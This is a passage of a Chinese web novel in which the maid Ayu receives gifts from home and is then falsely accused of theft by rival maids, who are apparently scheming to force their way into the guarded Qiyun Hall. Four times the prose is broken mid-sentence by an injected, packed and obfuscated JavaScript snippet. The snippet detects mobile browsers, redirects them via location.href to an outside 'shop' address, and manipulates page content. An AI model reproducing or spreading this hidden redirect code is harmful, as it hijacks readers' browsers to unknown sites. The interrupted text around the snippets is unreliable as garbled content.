汀兰喜不自胜地过了过来,打开深深嗅了一口,惊喜地问道:“这是什么?好香啊!” 阿渔笑道:“是前些日子从枇杷园采的枇杷,我让厨房做成了膏,上次听你说每日吃得不好,我便拿了一瓶来送你。” 汀兰闻言一把抱住阿渔,感动得眼泪汪汪:“阿渔好妹妹,多亏了你还惦记着我。” 虽然送枇杷膏只是个由头,但阿渔确实希望汀兰在东厢房的日子能好过些。她笑着拍拍汀兰的肩膀,说道:“你每次只需用瓷勺挖出一小勺,可以涂抹在掰开的笼饼里;也可以用热水冲开饮用,润肺止咳;或者汲一盆井水,将枇杷膏连带着瓷瓶一并浸没其中,待瓶身摸起来凉丝丝的,便可以拿出直接食用。” “一瓶简单的枇杷膏还有这么多吃法哩!”汀兰听得两眼放光,迫不及待打开瓶口,挖了一勺送进口中,瞬间甜蜜地眯上双眼,咂么咂么嘴巴,一脸的意犹未尽。 之后几天,阿渔便借着叙闲话的由头,多往东厢房去了几次,果真发现了些许蛛丝马迹。 有一次,阿渔前脚离开东厢房,后脚偶然撞见瑶琴和云裳一前一后走了回来。只见瑶琴城府极深,依然端得一副客气疏离的姿态,自是看不出什么破绽。云裳却不同,她虽极力隐藏,但阿渔到底跟她相处过一段日子,不会看不出她突然撞见自个儿时,藏在若无其事下的一瞬间慌乱。 慌、乱。 阿渔饶有兴趣地琢磨这个词儿,确信自己定然没有看错这个表情。 是什么让素来争强好胜的云裳见到她后,不仅不扑上来撕咬两句,反而惊慌失措,见了她反而还躲着走? 除非,她们在密谋着些什么事,而且还是和她有关的事。 阿渔兀自坐在房内思索着,秀眉紧蹙,心绪慌乱,总觉得有山雨欲来。 大人不知何日回来,眼下她无人可以指望,只能自救。思及此,阿渔稳住心绪,快速在脑海中盘算可以利用的人脉。 邹妈妈和薛娘子首先排除。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481267|201752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>邹妈妈曾故意将她调去观雪亭,摆明了不想让她靠近大人,她若是一朝落魄,邹妈妈高兴还来不及,怎的可能会帮她。薛娘子是柳氏的人,依柳氏的个性,只要不闹得太大,她们这些奴婢私下内斗,她不会阻止,想来寻薛娘子求助不大有用。 汀兰也排除。 阿渔虽然确信她定会站在自己这边,但眼下她自身尚且难保,且心思单纯,瞒不住事,若真将瑶琴和云裳的小动作告诉汀兰,恐怕不到第二天就会瞒不住,届时打草惊蛇,让对手更加警觉,反而不妙。 还有谁?李七儿?她倒是不错,不仅聪慧能干,而且对她十分忠心,只可惜她现下受贾婆子辖制,尚且自顾不暇。 如此算来,竟无人可用!该如何是好...... 阿渔愁眉不展,静坐半夜,突然脑中闪过一缕灵光,她当即抓住,在心中琢磨半晌,心中逐渐有了对策。 过了几日,裴正卿依旧没有回来,府里和东院一切如常。 若说有什么事,倒也风平浪静;可若说一成不变,倒也有了些许变化。 “阿渔姑娘,东北角院外有人找。”栖云堂外的一个侍卫进来禀报道。 阿渔一愣,满头雾水:“找我?” 侍卫毕恭毕敬:“回阿渔姑娘,正是,那人指名说要找的人叫阿渔,渔夫的渔。” 刺史府里叫阿于、阿雨、阿玉的丫鬟小厮有好几个,但叫阿渔的,确实只有她一人。 只是,现下知道她在刺史府的只有三人,一是当时将她分配到刺史府的差役,可那人与她素不相识,不可能是他,另外就是阿娘和弟弟阿渡。 当初她阴差阳错来到吴州刺史府后,悄悄写了封信,塞了些银子托人将信带去洪州交给阿娘。只是流放地内看守森严,阿娘如何能千里迢迢前来寻她? 可若不是阿娘,又是何人? 阿渔心念一动,莫非是裴大人? 这个想法甫一冒出来,便被阿渔否决。大人若是遣人回来寻她,大可直接拿着信物交由栖云堂外的侍卫,进来当面见她,而不是候在院外。 阿渔思忖片刻仍然毫无头绪,遂问道:“来人是何模样?可有介绍自个儿是何人?” 侍卫说:“回阿渔姑娘,来人是个清秀的女子,穿着靛蓝碎花粗布衣裳,包着头巾,看着约莫比姑娘年龄稍大些......还有,她还说自己从洪州而来,是姑娘认识的人。” 洪州、认识的人,莫非当真是阿娘托人来寻她? 阿渔抱着疑惑,提起裙摆,小步快走,三步并作两步到了角门附近,迈过门槛,待见到台阶下等候多时的人,不由得有些惊讶。 “......芳姐儿,怎的是你?” 21. 思远人 芳姐儿是阿渔小时的玩伴,不过并非同时罪奴,芳姐儿是附近普通田户之女。 洪州是沿海的军事性藩镇,同样也是朝廷主要的晒盐场之一。州内除了采珠劳役的罪奴、看守的差役外,还有一些普通的平民,如田户、渔户和盐户。 芳姐儿是田户,但她的舅舅却是看守罪奴的差役中一个不大不小的官儿,故而芳姐儿自小便能时不时进出流放地,自然地,便与年龄相仿的阿渔成了玩伴。 阿渔能够女扮男装代替幼弟服徭役,也多亏了有芳姐儿的舅舅在其中隐瞒斡旋,方才躲过了上面派来征役官差的审查。只是后来阿渔阴差阳错进了刺史府之事,芳姐儿应当不知情才是,怎的忽然出现在这儿? “阿......阿渔?”芳姐儿听见声音回头,惊讶地瞪大双眼。 只见阿渔簪金带银,身着碎花罗襦,穿着殷红石榴裙,胳膊上挂着披波,一副极为富贵的模样。 芳姐儿踌躇地上前两步,四下张望片刻,压低声音问道:“你怎的这身打扮?莫非你女扮男装的事已经被揭穿了?” 阿渔点了点头,将先前无意中来了葵水以至身份泄露的来龙去脉简要地说了一遍,其中有意地省去了一些无关紧要的信息。 芳姐儿听罢,长舒了一口气,恍然大悟道:“原是如此,难怪我先前来问了几次,都说府里没有名叫阿渔的小厮,原来你已经恢复了身份。只是出了这样大的事,府里的主子可有怪罪你?” 阿渔笑道:“莫要担心,我并未受到责罚,而且还调到了东院,伺候京城里来的贵人。日后你若是有事寻我,便可如同今日这般,在东院的东北角门外等我便是。” 芳姐儿点头应下,好奇问道:“你方才所说,京城里来的贵人可是那个什么、什么运使?” 阿渔笑着补充道:“是江南东道水陆运使。” “对对,就是这个,我听舅舅说起过,那个运使大人是个很有能力的大官,不仅将水患治理得井井有条,前些日子还将徐彭那个贪得无厌的狗官抓起来,就地正法,真真是大快人心!” 阿渔一愣,治理水患她倒是知道,只是......抓贪官? 想起那日清晨男人匆匆离去,阿渔心下不由得琢磨道,莫非大人此去便是处理此事? 芳姐儿眨巴眨巴眼睛,好奇地问道:“先前运使大人巡查河道时,我偶然远远看到过一次,只是距离太远没能看清。听闻外界传言,他是一位杀伐果断、刚正不阿的青天大老爷,你如今在他身边伺候,可知那位大人是何模样?究竟是黑脸的包公,还是手无缚鸡之力的文弱书生?” 阿渔捂嘴扑哧一笑:“瞧你这话说的。” 想起那道高大挺拔的身影和端方儒雅的俊容,阿渔不由得香腮浮起两团红晕,抿嘴一笑,徐徐启唇道:“裴大人......相貌极为年轻,时而温润如玉,时而风趣幽默,治下严厉却不严苛,称得上是一位表里如一的真君子。” “至于朝廷上的事,我身为奴婢无从了解。只是你我都知,江南连年水患横行,历任刺史,要么是视人命如草芥、想要趁机贪污粮草的蠹虫,要么是装聋作哑的油滑之辈,便是有心作为者,也只敢修修补补,不是任随何人都有勇气和能力做到根除水患之灾,至少这一点裴大人便已胜过多人。” 芳姐儿点头赞同道:“看来那位裴大人,当真是一位好官儿。” 阿渔莞尔一笑,问道:“好了好了,裴大人的事先放在一边罢。话说过来,芳姐儿你怎的知道我在刺史府当差?” 芳姐儿说:“是你娘同我说的。” 果不其然,看来阿娘应当收到了她托人送去的那封家书。 只是阿娘素来不喜多生事端,便是知道她进了刺史府,也不会无故托人来寻她,莫非家中出了什么事? 思及此,阿渔不免有些担忧:“是我阿娘托你来寻我的?难道我家中出了意外?是我阿娘还是阿渡?” 芳姐儿赶紧拍拍阿渔的手背,安慰道:“莫急莫急,你家中一切都好。你娘收到了你托人送去的家书,知道你没有去修筑堤坝,反而阴差阳错进了刺史府。她原本不想来打扰你,只是听说我要来吴州城一趟,便托我来看看你是否安好,还特意纳了两双鞋托我给你送来。” 说着便解开包裹,从一些红绸衣裳和钗环中取出一个青布包裹递给阿渔。 阿渔接过来打开,里面赫然是两双绣花鞋,还有两件簇新柔软的中衣,十来双轻薄透气的罗袜,每一针的针脚都压得密密实实的,不敢想这么多衣物,阿娘白日采珠,晚上还要点着油灯做针线,该是多么幸劳。 阿渔垂首抚过包裹中的衣裳和鞋袜,眼泪吧嗒吧嗒,像断了线的珍珠一般砸落在衣裳上。 阿渔抹了眼泪,抽噎着问道:“我离开后,我阿娘和弟弟可都还好?” “好,都好,就是她们都很想你。虽然你娘亲嘴上没说,但我能看得出,对于当初让你女扮男装替阿渡弟弟服劳役的事,她是一万个后悔的。”芳姐儿唏嘘道。 阿渔父亲早逝,只留下孤儿寡母三人,其中唯一的男丁方才八岁。按晋朝律令,朝廷若是征收男丁服役,有三种情况可免征役,一则有功名在身,一则家中只有一名男丁,另一则十五岁以下或者六十岁以上。 若不是罪奴,只要以上三种情况满足一种便可免除劳役。可若是罪奴,便不论何种情况都要强征徭役。 对于女扮男装代替阿渡服徭役,阿渔不曾怪过娘亲狠心,哪怕曾经心中有过怨怼,如今也已经便释然了。 当初无人会提前得知,她会阴差阳错进入刺史府,众人皆以为要去修筑堤坝。阿渡年仅八岁,若真让他去了,恐怕毫无生还的可能。而她虽是女子,到底比八岁的稚子多些力气。 手心手背都是肉,阿娘定是都不舍。阿渔知道阿娘的为难,所以当初主动站了出来,做下了决定,扮作男儿身替阿渡去修筑堤坝。 既然决定了,她就不曾后悔。 阿渔握住芳姐的手,说道:“可否请芳姐儿一个忙?” “跟我还客气什么,说罢。” “请芳姐儿帮我带一句话给我娘,我从来没有怨恨过她,阿渡是我弟弟,我自然也不能眼睁睁看着他去死,眼下我在刺史府一切都好,让她莫要担心,好好照顾自个儿的身子。” 芳姐儿拍了拍阿渔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481268|201752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手:“放心吧,我一定帮你把话带到。” 阿渔拭掉眼角的泪水,莞尔一笑,眼角瞥见芳姐儿包裹里的红绸和钗环,再结合芳姐儿方才的只言片语,心中顿时产生一个猜测,试探地问道:“芳姐儿,你这是......?” 见阿渔的视线落在包裹里的衣裳装饰上,芳姐儿不由得小脸一红,含羞道:“哎呀,就是你想的那样,我要成亲啦!” 阿渔心道果然。 洪州虽然同样地处江南,但作为沿海的军事藩镇,繁华自是不比吴州。平日若只是采买些普通的生活物什,在洪州的镇上便能买到,但成亲可是一件大事,虽然不像大户人家一般,凤冠霞帔、十里红妆,可三书六礼却一点都不能少。 吴州繁华,成婚所要的如火盆、喜烛、金秤、喜帕、剪刀、麦斗等等一应物什俱全,是故洪州的百姓若是筹备婚事往往会远道赶来吴州。结合芳姐儿包裹中的红绸钗环,以及她特意赶来吴州的举动,阿渔不难猜出她要成婚了。 阿渔祝福道:“恭喜恭喜,新郎倌儿可是小时常来你家玩耍的舅家表哥?” 芳姐儿比阿渔大一岁,是同龄的玩伴中最早成婚的,谈及婚事不免有些羞涩,她点点头道:“正是他,我同他青梅竹马,原本去年家中便准备为我们张罗婚事,只是不巧赶上他外祖母离世,作为小辈需要穿着齐衰,守孝一年,这才将婚事拖到了今年。话说到这,若真是去年便办了婚事就好了,至少你还在,现如今你进了刺史府,也不知何时能回去,恐怕要错过我的婚礼了。” “哎呀呀,这位准新娘莫不是等得急了,竟然恨嫁起来,若让旁人听到真真是羞煞人也。”阿渔调侃道。 芳姐儿闻言羞恼地跺了跺脚:“才不是!你这个坏妮子,竟然拿姐姐取笑!我看婚事你也逃不掉,你娘亲最近也准备给你相看哩!” 阿渔嘴角的笑容一僵,盯着芳姐儿的眼睛问道:“你方才说的是什么?” 她如今身陷刺史府,不知何时能够脱身离开,阿娘明知如此,为何突然这时给她相看,到底有何打算? 芳姐儿说漏了嘴,心虚地躲开阿渔的视线,支支吾吾道:“没甚么,就是......就是哎呀,一句两句说不清,也许可能是我听错了,你还是等着你阿娘的消息罢。” 说罢,芳姐儿没再多留,简单寒暄两句后便告辞离开了。 阿渔若有所思地看着她离开的背影,须臾,抱着沉甸甸的青布包裹回了栖云堂。 角门后,一个梳着双丫髻的身影亦悄悄隐去。 这些日子发生的事情太多,云裳和瑶琴的鬼鬼祟祟、厨房的贾婆子隐患在侧、阿娘突然给她相看的举动意在何为...... 阿渔兀自愣愣地坐在绣榻上,脑中思虑万千,不知不觉间天色逐渐黑沉。 突然,外面亮出橘红的光影,是火把的光亮,伴随着杂七杂八的说话声。 阿渔呆愣愣地抬首向外望去,心中涌起一股莫名的期待。 难道是大人回来了? 不,不对,大人回来不应该是这个动静。 外面的动静越来越大,火把的光影影影绰绰,显然来者不善。 22. 风乍起 阿渔盈盈的目光陡然一沉,待出了房门,见栖云堂外果然站着三个不速之客。 面对突如其来的云裳、瑶琴和汀兰三人,侍卫长高虎反常地没有将人轰走,反而为难地抓耳挠腮,不迭地指挥着身旁两名举着火把的侍卫,口中吩咐着什么。 天色渐黑且离得太远,阿渔听得并不真切,只能看到那两名侍卫垂着脑袋摇了摇头,说道: “门口找了,没有......” “枇杷园没有......” “游廊里也没有......” 莫非是丢东西了? 待走近,阿渔问道:“发生了何事?” 侍卫长高虎一脸为难地拱手回道:“回阿渔姑娘,云裳姑娘的琉璃耳坠丢了,属下派了几个兄弟帮忙去找,可是仍然一无所获。” 阿渔看着云裳说道:“府里丢了东西当禀报管事妈妈,由管事妈妈派人去寻,高虎是裴府的侍卫,不知道刺史府的内院规矩情有可原,云裳你怎的明知故犯?” 云裳嘴角勾起一抹嗤笑:“少拿府里的规矩压我,我丢失的琉璃耳坠乃是刺史夫人所赏,极为稀罕珍贵,便是整个吴州都找不出第二件。说是丢的,保不齐是有人心存歹念,趁我不在,进屋行窃藏匿了起来!” 阿渔蹙眉:“你这话是什么意思?” 云裳冷哼一声,上前一步咄咄逼人道:“什么意思?呵,我就明说了吧,今儿个中午我的琉璃耳坠失踪了,偏正好,不早不晚的,有人看到你从外面拿了个青布包裹回来。故而,我怀疑是你偷了我的琉璃耳坠!” 好一个先声夺人。 阿渔闻言眯了眯眸子,包裹是阿娘托芳姐儿带来的,且她今日根本未曾去过东厢房,更不曾见过所谓的琉璃耳坠。云裳的一番话看似因果分明,实则好没道理,细一推敲便站不住脚。 颠三倒四地找出这样一个牵强附会的借口,到底意欲何为? 阿渔不由得提高警惕,琢磨片刻后回道:“包裹确有其事,是我同乡好友今日特意为我送来的,里面只有一些简单的衣物,与你丢失的耳坠并无干系。你若不信,大可请管事妈妈禀告柳夫人,让她差人去洪州寻一个名叫芳姐儿的女子对证。” 人证的信息足够详细,若是心中无鬼,定然不会再胡搅蛮缠,只是云裳岂会这般轻易地信服。 “口说无凭,若想让我们相信你不是凶手,便将包裹拿出来交由我们查看一番。” 阿渔眉梢微挑:“给你们看可以,只是恐怕就算我交出包裹,你也不会轻易罢休。比如,说我在交出包裹前故意将耳坠取出藏了起来?” 云裳的眼底霎时间闪过一丝慌乱,下意识朝身后的人瞥去一眼。 阿渔将云裳细微的一举一动尽收眼底,心下愈发确信这是一场阴谋。 汀兰挠了挠头思忖片刻,举着灯笼走到阿渔身边,对云裳说道:“我觉得阿渔没有说谎,你丢的耳坠同她没有关系,说不准是你自个儿没注意,不小心落在了哪处。阿渔是去过东厢房,但只是找我聊天解闷而已,又不曾去过你的房间。更何况她今儿个未曾来过东厢房,难不成还能隔空取物窃了你的耳坠不成?” 云裳厌烦地睨了汀兰一眼,心中暗骂了一句蠢货,重振旗鼓不依不饶道:“耳坠是今日发现不见的,可却不一定就是今日被偷的,难道她就不能事先偷了耳坠,藏在别处,然后假借好友送包裹的名义带进来?” “这......”汀兰犹疑半晌,不知如何反驳,只能小声地嘟嘟囔囔道,“阿渔不是那样的人......” 阿渔不急着为自己说话,先静观其变,心中已然确信不管是否真有人给她送包裹,不管包裹里原先是什么,云裳都认定了是她偷了耳坠,并且藏到包裹里带进了栖云堂。 云裳此举到底想做什么?一个根本查不出来的耳坠,为何非要栽赃陷害于她? 瑶琴提着灯笼款款上前两步,声音温柔地徐徐道:“汀兰和云裳说得各有道理,我且来说一点。刺史夫人赏的耳坠丢失是件非同小可的事,往小了说,云裳会受到责罚;往大了说,住在东厢房的我们和曾住在东厢房的阿渔你,都逃不了干系。我们三人的房间已经都搜查了一遍,阿渔姑娘你这些日子同样进出过东厢房,若真想洗脱嫌疑,便将包裹拿出来让我们检查一番罢。” 阿渔闻言愈发警惕,交出包裹自然不难,但事情绝非这么简单,她们葫芦里到底卖的什么药? 瑶琴有脑子,有城府,又在宅院浸淫多年,不会看不出这是一场由云裳主导的闹剧。还是说,这便是她们商量多日相处的谋略? 莫说耳坠不是她偷的,子虚乌有的东西无需拿出来向她们证明,便是她当真将包裹交由她们检查,也查不出所以然。届时她们找不到耳坠,除了空口白牙诬陷她将东西藏了起来,也不能真把她如何。 这样栽赃嫁祸的伎俩未免太过拙劣,事情一定没有这么简单。阿渔打定主意按兵不动,不主动不接招,看她们自个儿如何把戏唱下去。 云裳见阿渔不为所动,心里有些焦急,咬了咬牙发狠道:“无需同她废话,今儿个她主动交出包裹最好,不交也得交!” 阿渔淡定自若地试探道:“怎的?我若是不交出包裹,你能奈我何?” 云裳闻言果然被激怒:“好声好气同你商议,你不肯,反而三推四推。我看不必查了,凶手定然是你!你最好将包裹老老实实地交出来,否则我们便要直接进去搜拿赃物!” 说罢,扔下手中的灯笼,抓起身旁的瑶琴和汀兰两人便要往栖云堂内闯。 “你敢!” 云裳回首挑衅道:“我有什么不敢的?!你别以为你住进了栖云堂,便麻雀摇身一变成了凤凰,说到底你也不是个主子,凭甚么命令我!” 阿渔精致的小脸变得森寒,冷飕飕地命令道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481269|201752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高虎,拦下她们!” “是!” 其实不必阿渔出声,高虎作为裴府出身的侍卫长,且主子早有命令在先,不准任何人靠近栖云堂。高虎自然不敢轻易懈怠,早在云裳有所动作时,便向身边的侍卫们打了个眼风,示意他们拦下。 众人虽然心知云裳、汀兰并上瑶琴三人是预备给主子的通房,可到底不是正儿八经,成了事实过了明路的,故而推搡起来毫不留情。 而云裳三人内部本身也不是拧成一股绳,劲儿往一处使,汀兰糊里糊涂地被拽上,待反应过来,吓得忙不迭后退。瑶琴不防云裳这般胡来,也不愿以身犯险,悄悄后退。 左支右绌下,云裳三人很快败下阵来。 “你们在做甚么!” 一声喝斥的声音传来,薛娘子带着两个膀大腰圆的婆子并上几个婢女赶来。 薛娘子收起素来挂在嘴角的客套笑意,换上严肃的表情,训斥道:“方才老远便听见这边的动静,究竟发生了何事,竟让尔等不顾体面,在堂堂刺史府内宅这般胡闹!” 薛娘子环视众人一圈,最后将视线落在了一旁茕茕孑立的阿渔身上,问道:“可否请阿渔告知,方才究竟发生了何事?” 阿渔倒没隐瞒,一五一十地将方才云裳耳坠遗失,以及如何怀疑她偷窃私藏,如何恼羞成怒私闯栖云堂的事说了出来。 薛娘子听罢来龙去脉,长颦微蹙,默了片刻,先是对云裳说道:“我知道你丢了夫人赏的耳坠焦急,但你也不是第一天进府的新人儿了,出了这样的事儿,当首先禀告我来处理,怎的能私下擅闯栖云堂?!还有你们两个,也跟着她胡闹,若不是我及时赶来,便是将你们打死也是活该!” 云裳三人诺诺称是。 薛娘子满意地点点头,继而挂上客套的笑意,对阿渔说道:依阿渔姑娘的品性,我自是不相信耳坠会是姑娘所窃,只是云裳的顾及不无道理。阿渔姑娘不妨将包裹取出,由我查验一番,也好还姑娘一个清白。” 薛娘子年纪轻轻便能管理东院多年,其识时务、精明、能干自是不言而喻,阿渔对她这种各打五十大板的举动并不意外,心下对于云裳和瑶琴的计谋也已猜到大概,包裹交与不交都可,只是有一句话,阿渔不得不问。 “我可以将包裹拿出交由薛娘子您检查,只是若没有搜到耳坠,该当如何?” 阿渔知道今儿个她若是不交出包裹,事情定然不会善罢甘休,故而她方才的一番话只是想试探薛娘子的态度。 是否交出包裹就可以证明她的清白,亦或是还有后招。眼下的情形正如房间里的大象,众人皆知道耳坠丢失与她无关,却齐齐回避了这个事实,反而将矛盾放在了她的包裹上。 薛娘子名义上屈居邹妈妈之下,实则是东院真正掌权的管事娘子。在走出下一步棋之前,阿渔必须确定,薛娘子到底是中立的,还是早已与云裳等人伙同到一起。 23. 狂风紧 薛娘子嘴角挂着那抹常年不变的得体浅笑,中规中矩地回道:“总要阿渔姑娘先拿出来,待看过后方能知晓。” 阿渔心下明了,薛娘子的意思是走一步看一步,将一个“拖”字诀贯彻到底,摆明了不站队任何一方。 也罢,她总要走出这一步才知道她们下步棋是什么。 “高虎,你们且牢牢守在此处,不准任何人踏进一步!” “遵命!” 阿渔吩咐过后,转身回到栖云堂内,不消片刻便从房内取出一件青布包裹,而后回到栖云堂门口,穿过层层侍卫,将包裹递给了薛娘子。 薛娘子先是向云裳确认,眼前的青布包裹是否便是今日有人看到的那个。待得到肯定的回复后,她将包裹打开仔细查看了一番,确如阿渔所言,里面只有一些衣裳鞋袜,没有半点耳坠的影子。 “如此,可能证明我的清白?”阿渔不急不徐地问道。 薛娘子还未说话,云裳便抢先跳了出来,不依不饶道:“自然不能!谁知道你是不是方才趁机藏在了房内,我们要进去搜查一番!” 阿渔闻言,眉梢微挑,饶有兴致地将视线扫向云裳,在她脸上打量半晌,玩味道:“你方才说,进去搜查?你可知这是什么地方?” 阿渔眼下高高在上的语气和姿态落在云裳眼里,像极了对她的羞辱,云裳咬了咬牙,狠狠剜了阿渔一眼,一字一顿地说道:“不管是什么地方,你也在不在吗?” 言下之意,连阿渔一介罪奴都能进去的地方,她云裳凭甚么不能进去! “呃......这不是栖云堂么?”汀兰抬头看着匾额上的“栖云堂”三个大字,讷讷地挠了挠脑袋,一时间分不清状况。 阿渔轻笑一声,道:是栖云堂没错。既知是栖云堂,应当知晓大人先前定下的规矩:凡擅自靠近栖云堂者,不论缘由,一律打死扔出府外。先前,我顾念云裳寻找耳坠心切,一时失了分寸,忘了规矩擅自靠近栖云堂,便不与你们计较许多。只是,至多便到此为止,你们若再不听劝,胆敢擅闯栖云堂,任随何人来都救不了你们。” 汀兰从未见阿渔这般疾言厉色,细思她方才的话,不由得吓得一哆嗦,忙不迭拉了拉云裳的袖角,苦着小脸儿小声道:“我早就说阿渔跟你丢的耳坠没有干系,你偏不信,还将我拽来!走罢走罢,阿渔说得有理,小命要紧,咱们再去别的地方找找。” 云裳经汀兰这么一劝,心底不由得产生几分动摇,踌躇地抿了抿嘴角。 突然,一直不动神色的瑶琴漫不经心地扔去一个冷冷的眼风。这一眼的提醒仿佛当头棒喝,立刻将云裳从摇摆不定中拉了出来。 云裳强自按下心中方才产生的那点恐惧,上前一步抱胸不屑道:你少拿着鸡毛当令箭,我云裳可不是那么好唬的。大人先前的命令分明是院里所有人不得允许不能擅自靠近书房,否则一律打死,并未指不能靠近栖云堂。更何况,我们只是去你房间搜查,不会靠近书房半步,自然也不算触犯规矩。” 云裳此话倒是没错。 栖云堂的书房内有极机密重要的密函和奏折,故而裴正卿先前亲口说过,除他以外任何人不准靠近书房,还在书房外设两名侍卫轮值守卫,其余的裴府侍卫则在栖云堂外守卫。因着层层守卫,东院乃是府里所有人都默认,不止书房,大至整个栖云堂同样不可随意靠近。 云裳处心积虑地找出裴正卿话语间的漏洞,提出方才的要求,显然是有备而来。 见阿渔蹙眉不展,云裳顿时感到得意洋洋,说道:“你不过也只是区区一个婢女,有什么资格替大人发号施令?你若是乖乖退到一旁,让我们进去搜查,若当真没有私藏耳坠,自会还你清白。” 一番话说得惺惺作态。 见云裳终于露出獠牙,阿渔心下已然明了她们的计谋。 方才薛娘子未赶来之前,云裳便说过一次要进栖云搜查,甚至拉上汀兰和瑶琴莽撞地直直往里闯,以至阿渔下令高虎拦住她们。 一次还能解释为情急之下口不择言,行事冲动,然而如今分明证据确凿,明眼人都能看得出云裳在没事找事。这种情况下,云裳还提出要进栖云堂内搜查,如此看来她方才的一番表演分明醉翁之青不在酒,找耳坠只是借口,她们真正的目的是要进栖云堂! 只是阿渔不解,栖云堂内最重要的,一个是那些机密的要函,另一个则是位高权重的裴大人。云裳和瑶琴的目的定不是前者,至于后者,眼下并不在栖云堂内,就算她们苦心积虑地进了栖云堂也见不到人。 既如此,她们这般千方百计地进来到底所图为何? 阿渔霎时间脑海中闪过许多念头,若有所思地将视线落在云裳和瑶琴脸上,不住地细细端详,很快便相通了其中的关窍。 准确来说,进栖云堂对瑶琴和云裳而言,确实没有明面上的好处,然而对阿渔而言,却有数不清的坏处。 一则,主子既下令让侍卫守在栖云堂外,她却没能守住栖云堂,率先破坏规矩,是对主子威严的极大挑衅。 另一则,不论最后有没有搜出云裳丢失的琉璃耳坠,她身上永远便抹不掉疑似窃贼的名声,这样的人,岂能容于主子眼内。 最后,她既住在栖云堂内,主子不在,她却招来祸端,将人引至栖云堂内,不仅破坏了正房的安宁,而且若是栖云堂内少了点什么东西,或者泄露了重要的案牍文卷,归根究底定要怪罪在她身上。 最后这一点尤为致命,便是主子有心护住她,不在意前两点,为了朝廷机密,也不得不将她处死。是故,今日无论如何,阿渔都不能让任何人进入栖云堂。 阿渔走出门外,眉眼冷凝道:“大人未归,今日任随何人都不准进入栖云堂!高虎,给我死死守住,任何人都不能放进去!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481270|201752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高虎拱手应下,下令众侍卫列队成排,将手搭在腰间的兵器上,严肃凛然。 云裳恼怒地指着阿渔:“你......!” 阿渔丝毫不予理会,转而看向薛娘子说道:“栖云堂是何等地方,不得主子允准擅闯,若是丢了东西,泄了秘密,不仅我会受罚,薛娘子你作为管事娘子定然同样逃不掉干系,故而要不要同云裳胡闹,还望薛姐姐三思。” 当然,若当真擅闯了栖云堂,在场的众人有一个算一个,定然都逃不掉。云裳和瑶琴同样也会受罚,只是她们舍得一身剐,只要将她拉下马,便可除掉一个强有力的对手,利大于弊,自然值得她们铤而走险。 然而,薛娘子却不然,她与自己暂时没有明面上的利益冲突,若当真因此引来裴正卿的震怒和责罚,于她而言实则飞来横祸,得不偿失。 听罢阿渔所言,薛娘子果然识时务地犹豫起来。 云裳见状,恐薛娘子退缩,连忙在一旁拱火道:“薛姐姐莫要着了她的道,东西定是阿渔偷的,方才她一番狡辩便是想恐吓住姐姐。若当着因此让她逃过搜查,让大人以为薛姐姐是有意包藏贼犯,反而才是大大的不妥啊!” 一直默不作声,仿佛在这件事中已经隐身的瑶琴,偏此时站了出来,适时地推波助澜道:“按理说,耳坠并非我之物,亦非我所窃,我应当置身事外。只是我作为裴府出身的奴婢,又与云裳、阿渔两位姑娘同住过东厢房,薛娘子若是不介意,且听我说一句公道话儿罢。” 眼下的情况之棘手,连薛娘子都有些拿不定主意,见瑶琴有话要说,薛娘子略一思忖便同意了。 瑶琴款款走到众人中间,眼神不瞟不倚,得体地徐徐道来:“眼下事情已经闹到这个地步,薛娘子若是想大事化小,小事化了怕是不能了,必得给出众人一个交代,否则今儿个她的耳坠失窃,明儿个她的手镯盗走,长此以往,恐家宅难安,若让柳夫人知晓,定然亦是震怒。” 薛娘子若有所思地点头,却犹豫道:“只是,当如何处理才好?” 柳夫人得罪不起,裴大人更得罪不起,真真是左右为难,薛娘子不由得暗恼这个给她惹来麻烦的云裳。 瑶琴嘴角勾起一抹运筹帷幄的笑意,提醒道:“我看不如请邹妈妈前来主持公道。邹妈妈不仅德高望重,颇擅处理内宅之事,且是老夫人当年的陪房,看着大人长大的。若当真有情非得已,不得不为的事,也当由邹妈妈出面拿个主意才好。” 